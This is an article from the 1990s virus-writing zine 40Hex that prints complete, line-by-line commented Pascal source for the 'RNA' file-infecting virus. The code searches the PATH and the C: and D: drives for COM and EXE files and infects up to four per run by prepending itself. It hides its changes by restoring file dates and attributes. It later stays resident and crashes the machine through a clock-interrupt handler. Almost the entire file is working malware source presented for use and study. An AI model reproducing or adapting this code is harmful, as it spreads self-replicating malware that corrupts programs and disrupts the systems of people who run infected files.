40Hex Issue 10 Volume 3 Number 1                                      File 003

The following is the source code for the RNA virus, a Pascal virus which
preserves the functionality of the EXE files which it infects.  It is a
primitive virus, but is an example of a parasitic virus not written in
assembly.
-------------------------------------------------------------------------------
{$i-}{$m 2048,0,24576}
Program RNA;
{ Commenting by Dark Angel of Phalcon/Skism }
{ for 40Hex Issue 10 Volume 3 Number 1 }
uses dos;

const blksize=8192;                     { buffer size                        }
     vsize=7200;                       { length of virus                    }
     wc='*.';                          { part of file mask                  }
     counter=blksize-1;                { location of the counter            }
     cb=':\';                          { colon backslash                    }
     maxinf:byte=4;                    { max # infections                   }
     maxruns:byte=48;                  { # runs before disinfection         }
     drives:array[3..4] of char=('C','D'); { name of the drives             }
     imf:string[12]='ux142.rqz';       { temporary file name                }


type vtype=array[1..vsize] of byte;     { type of buffer for storing virus   }
    buftype=array[1..blksize] of byte; { type of buffer for file operations }

var ps:string;                          { path string                        }
   s:pathstr;                          { currently running program          }
   ds:dirstr;                          { current directory                  }
   ns:namestr;                         { filename of current program        }
   es:extstr;                          { extension of current program       }
   v:^vtype;                           { buffer for virus code              }
   buf:^buftype;                       { buffer for file copying            }
   count,indx,inf:byte;
   attr,nr,nw:word;
   sr:searchrec;                       { for find first/find next calls     }
   f,f2:file;                          { file handles                       }
   t:longint;                          { file time/date storage             }

procedure copyf;                        { copy file                          }
begin
repeat                                 { copy the file in blocks            }
 blockread(f,buf^,blksize,nr);         { read from the source file          }
 blockwrite(f2,buf^,nr,nw);            { write to the target file           }
until (eof(f));                        { stop if end of file reached        }
close(f);                              { close the source file              }
setftime(f2,t);                        { set file time/date of target       }
close(f2);                             { then close target file             }
end;

Procedure stripf;                       { strip virus from the file          }

begin
assign(f,s);                           { f = handle for current file        }
reset(f,1);                            { prepare it for reading             }
getftime(f,t);                         { save file creation time/date       }
assign(f2,ds+imf);                     { create temporary file              }
rewrite(f2,1);                         { prepare for writing                }
seek(f,vsize);                         { go past virus                      }
copyf;                                 { and copy uninfected file           }
end;

procedure load;                         { load the virus from carrier file   }

begin
assign(f,s);                           { f = handle for current file        }
getfattr(f,attr);                      { get its file attributes            }
reset(f,1);                            { and prepare it for reading         }
if ioresult=0 then                     { continue if no failure             }
 begin
  getftime(f,t);                       { get file creation time/date        }
  blockread(f,v^,vsize,nr);            { read the virus to buffer           }
  count:=v^[vsize]-1;                  { get the counter from the buffer    }
                                       { and decrement it                   }
  v^[vsize]:=maxruns;                  { reset counter in buffer            }
  seek(f,vsize-1);                     { go to generation counter in buffer }
  blockwrite(f,count,1,nr);            { write new counter to file          }
  setftime(f,t);                       { restore file time/date             }
  close(f);                            { close the file                     }
  setfattr(f,attr);                    { restore its file attributes        }
 end;
end;

function checkf(pth:dirstr):boolean;    { check if file already infected     }

var by:array[1..27] of byte;            { buffer for checking marker bytes   }

begin
checkf:=false;                         { default to don't infect            }
if pos(sr.name,'COMMAND.COM')=0 then   { don't infect COMMAND.COM           }
begin
 assign(f,pth+sr.name);                { get filename                       }
 reset(f,1);                           { open for reading                   }
 if ioresult=0 then                    { continue if open ok                }
  begin
   blockread(f,by,27,nr);              { start checking the file            }
   for indx:=1 to 27 do                { to see if the virus is             }
    if (by[indx])<>(v^[indx]) then     { already there                      }
     checkf:=true;                     { if not, return infect ok           }
   close(f);                           { close the file                     }
  end;
end;
end;

procedure attach(pth:dirstr);           { attach virus to start of file      }
begin
inc(inf);                              { increment infection counter        }
assign(f2,pth+'zSqA.th');              { create temporary file              }
rewrite(f2,1);                         { open for writing                   }
if ioresult=0 then                     { continue if no errors              }
 begin
  assign(f,pth+sr.name);               { open file to infect                }
  getfattr(f,attr);                    { save its attributes                }
  reset(f,1);                          { open for reading                   }
  getftime(f,t);                       { save its creation time/date        }
  blockwrite(f2,v^,vsize,nr);          { write the virus to the temp file   }
  copyf;                               { copy the file to infect to the     }
  erase(f);                            { temp file and erase original       }
  rename(f2,sr.name);                  { rename the temp file to the name   }
  setfattr(f2,attr);                   { of the original and restore file   }
 end;                                  { attributes                         }
end;

procedure rep(pth:dirstr;ext:extstr);   { replicate within a directory       }

begin
findfirst(pth+wc+ext,hidden+archive+readonly,sr);
while (inf<maxinf) and (doserror=0) do { search for files to infect         }
 begin
  if checkf(pth) then attach(pth);     { infect if not already infected     }
  findnext(sr);                        { then continue for other files      }
 end;
end;

procedure wastetime;interrupt;          { interrupt 1Ch handler              }
begin
inc(t);
inline($90/$90/$90/$90/$90/$90);       { NOP NOP NOP NOP NOP NOP            }
if ((t mod 8640)=8639) then inline($4C); { crash after about 8 minutes      }
end;

procedure replicate;                            { duplicate within path      }

var tmp:dirstr;                                 { holds a directory name     }

begin
while (ps<>'') do                              { while more directories     }
 begin
  indx:=pos(';',ps);                           { go to next directory       }
  if indx=0 then                               { if not found, then at      }
   begin                                       { last directory             }
    tmp:=ps;                                   { copy directory name to     }
    ps:='';                                    { variable                   }
   end
  else
   begin
    tmp:=copy(ps,1,indx-1);                    { copy directory name to     }
    ps:=copy(ps,indx+1,length(ps)-indx);       { variable           }
   end;
  if tmp[length(tmp)]<>'\' then tmp:=tmp+'\';  { concatenate '\' if it      }
                                               { isn't already there        }
  rep(tmp,'cOm');                              { infect *.COM               }
  rep(tmp,'exE');                              { infect *.EXE               }
 end;
end;

procedure makep;                                { this makes a path if it    }
                                               { isn't found in the system  }
var b:byte;

begin
getdir(0,ps);                                  { get current drive          }
for b:=3 to 4 do                               { do this for C: and D:      }
 begin
  ps:=ps+';'+drives[b]+cb+';';                 { copy each drive to path    }
  findfirst(drives[b]+cb+wc,directory,sr);     { check if dirs on drive     }
  while (doserror=0) and (length(ps)<240) do   { if not, continue           }
   begin
    ps:=ps+drives[b]+cb+sr.name+';';           { add all dirs to the path   }
    findnext(sr);                              { do it again and again      }
   end;
 end;
end;

procedure grow;

begin
inf:=0;                        { reset infection counter                    }
ps:=getenv('path');            { get the current path                       }
if ps<>'' then replicate;      { infect files if path found                 }
if inf<maxinf then             { if not enough files infected               }
 begin
  makep;                       { make a path                                }
  replicate;                   { and then infect                            }
 end;
end;

procedure remove;               { disinfection routine                       }
begin
assign(f,s);                   { f = handle for currently running file      }
erase(f);                      { delete the current file                    }
assign(f,ds+imf);              { f = handle for disinfected copy            }
rename(f,ns+es);               { replace carrier file with disinfected copy }
end;

procedure runf;                 { run the original file                      }
begin
exec(ds+imf,paramstr(1)+paramstr(2)+paramstr(3));
assign(f,ds+imf);              { delete disinfected copy                    }
erase(f);
end;

begin
new(v);                        { allocate memory to store virus             }
new(buf);                      { allocate memory for file operations buffer }
s:=paramstr(0);                { get filename of currently running program  }
fsplit(s,ds,ns,es);            { split to directory, name, and extension    }
stripf;                        { strip infected file from executable        }
load;                          { load the virus data to the buffer          }
grow;                          { infect files                               }
if count=0 then remove;        { disinfect if run maxruns times             }
runf;                          { run the original file                      }
if count<3 then                { slow system down if run many times         }
 begin
  t:=0;                        { reset count variable                       }
  setintvec($1c,@wastetime);   { set clock tick handler                     }
  keep(0);                     { and then stay resident                     }
 end;
end.
-------------------------------------------------------------------------------
                                                                            DA